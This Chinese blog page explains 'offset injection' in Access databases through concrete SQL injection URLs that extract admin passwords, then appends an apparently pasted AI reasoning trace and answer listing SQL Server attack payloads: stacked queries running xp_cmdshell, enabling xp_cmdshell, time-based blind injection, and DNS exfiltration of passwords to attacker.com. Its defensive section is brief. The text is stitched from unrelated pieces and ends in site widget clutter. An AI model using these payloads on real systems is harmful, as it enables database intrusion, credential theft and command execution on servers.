access 偏移注入 案例

本文详细解析了一起SQL注入案例,通过偏移注入技术查询管理员表字段数量及字段名,揭示了利用union联合查询进行数据获取的原理,并提供了一种猜测字段名的技巧。

news.asp?id=3039 and 4>8 union select 1,2,3,4,* from manage_admin as a inner join manage_admin as b on a.id=b.id

看个案例就明白是什么意思了

先是背景

news.asp?id=3306 存在注入

然后通过 order by 可知查询返回 12 列

通过数据表字典跑出管理员表 manage_admin,但是无论如何也跑不出字段名

好,背景介绍完毕


接下来通过 order by 查询manage_admin 一共有多少字段

4返回正常,5返回错误,所以manage_admin 一共有4个字段。

2x4<12 当然等于也可以。

news.asp?id=3039 and 4>8 union select 1,2,3,4,* from manage_admin as a inner join manage_admin as b on a.id=b.id


案例讲完了,来分析一下sql语法,看下图w3school的解释。

as 关键字则是为数据表取别名。

最后利用 union 联合查询获取数据。

这也是偏移注入的原理,可在不知道字段名的情况下查询数据。

ps:这是彩笔的理解,不一定正确。


另外,关于猜解管理员表字段名这里有个技巧,一般与通过后台登录表单的输入框名称同名,本案例中就是这样。

news.asp?id=3039 and 5>9 UNION SELECT 1,userpassword,3,4,5,6,admin,8,9,10,11,12 from manage_admin


纳尼,这就是偏移注入,其实偏移注入也可以用来猜解数据表一共有多少字段。


news.asp?id=3039 and 4>8 union select 1,2,3,4,5,6,7,8,* from manage_admin //返回正常
<pre name="code" class="plain">news.asp?id=3039 and 4>8 union select 1,2,3,4,5,6,7,8,9,* from manage_admin //返回错误



说明表manage_admin 有4个字段(12-8)


<think>嗯,用户这次明确要求了解SQL Server数据库的注入方式,看来是个专注技术细节的安全研究者。之前讨论过Access注入,现在转向SQL Server,需要突出两者差异。用户引用的资料很专业,涉及系统数据库、堆叠注入等概念,说明有一定基础。 从引用内容看,SQL Server的特性确实和Access截然不同:它有完善的系统库(master/model/msdb/tempdb),支持堆叠查询和多语句执行,还能通过系统函数获取丰富信息。这些特性直接决定了注入手法的差异。 在整理回答时,首先要强调核心差异点:SQL Server的堆叠注入能力是Access不具备的王牌技术,配合系统视图和存储过程能实现高阶攻击。引用[2][4][5]提到的系统数据库功能需要拆解清楚——比如master库控制权限,msdb管任务调度,这些都是攻击者感兴趣的入口。 针对技术细节要分层说明:基础部分用联合查询和报错注入作为铺垫,重点展开堆叠注入的实战案例(如xp_cmdshell提权)。用户似乎对系统函数也很关注,@@version、db_name()这些信息泄露函数必须包含。最后防御措施要呼应SQL Server特有的安全机制,比如禁用xp_cmdshell。 用户上次提到的偏移注入在SQL Server里不太适用,这点需要点明。另外考虑设计几个进阶问题:比如如何利用tempdb绕过检测,或者如何通过msdb实现持久化控制,这样能引导用户深入思考。 </think> 以下是SQL Server数据库注入的详细方式及技术要点,结合其与MySQL的差异进行说明: --- ### 一、SQL Server注入核心特性(与MySQL对比) | **特性** | **SQL Server** | **MySQL** | |------------------|--------------------------------------------|-------------------------| | **注释符** | `--` 、 `/**/` | `#`、`-- `、`/**/` | | **系统库** | `master`/`msdb`/`tempdb`[^3][^5] | `information_schema` | | **元数据查询** | `sys.tables`/`sys.columns` | `information_schema.tables` | | **多语句执行** | **支持堆叠注入**(`;`分隔)[^2] | 默认不支持 | | **系统函数** | `@@version`、`db_name()`、`@@SERVERNAME`[^4] | `version()`、`database()` | --- ### 二、SQL Server注入主要方式 #### 1. **联合查询注入** ```sql ' UNION SELECT null,@@version,null-- ``` - **步骤**: 1. 用`ORDER BY`确定列数 2. 通过系统函数获取信息: ```sql UNION SELECT 1,db_name(),3,@@version FROM master..sysdatabases ``` 3. 提取数据: ```sql UNION SELECT 1,username,password FROM admin-- ``` #### 2. **报错注入** 利用错误信息泄露数据: ```sql ' AND 1=CONVERT(int,@@version)-- ``` - **常用函数**: - `convert()`:类型转换报错 - `updatexml()`:XML解析报错(需特定版本) #### 3. **堆叠注入(核心优势)**[^2] 可执行多条SQL语句: ```sql '; EXEC xp_cmdshell 'whoami';-- ``` - **利用场景**: - 执行系统命令(需开启`xp_cmdshell`) - 创建/删除数据库对象 > *示例提权:启用xp_cmdshell* > ```sql > '; EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;-- > ``` #### 4. **时间盲注** ```sql '; IF (SELECT ASCII(SUBSTRING(db_name(),1,1)))>100 WAITFOR DELAY '0:0:5'-- ``` - **特征**:无回显时通过延时判断 #### 5. **系统数据库利用**[^5] | **系统库** | **作用** | **注入利用方向** | |--------------|---------------------------|--------------------------------| | `master` | 控制所有系统配置 | 获取用户登录信息、服务器配置 | | `msdb` | 存储任务调度/备份历史 | 查询计划任务执行记录 | | `tempdb` | 临时对象存储 | 创建临时表绕过过滤 | --- ### 三、高阶利用技巧 1. **权限提升**: - 利用存储过程:`xp_cmdshell`、`sp_addsrvrolemember` - 通过DLL加载执行代码:`sp_addextendedproc` 2. **数据外带**: ```sql '; DECLARE @a varchar(8000); SET @a=(SELECT TOP 1 password FROM admin); EXEC('master..xp_dirtree "\\'+@a+'.attacker.com\"');-- ``` > 通过DNS协议外传数据 3. **绕过过滤**: - 双写关键字:`SELSELECTECT` - 十六进制编码:`SELECT` → `0x53454C454354` --- ### 四、防御措施 1. **输入过滤**:严格校验参数类型(如数字型用`CAST()`转换) 2. **最小权限**:数据库账户禁用`xp_cmdshell`等危险组件 3. **错误处理**:禁用详细错误回显 4. **参数化查询**: ```csharp SqlCommand cmd = new SqlCommand("SELECT * FROM users WHERE id=@id"); cmd.Parameters.Add("@id", SqlDbType.Int).Value = userId; ``` ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值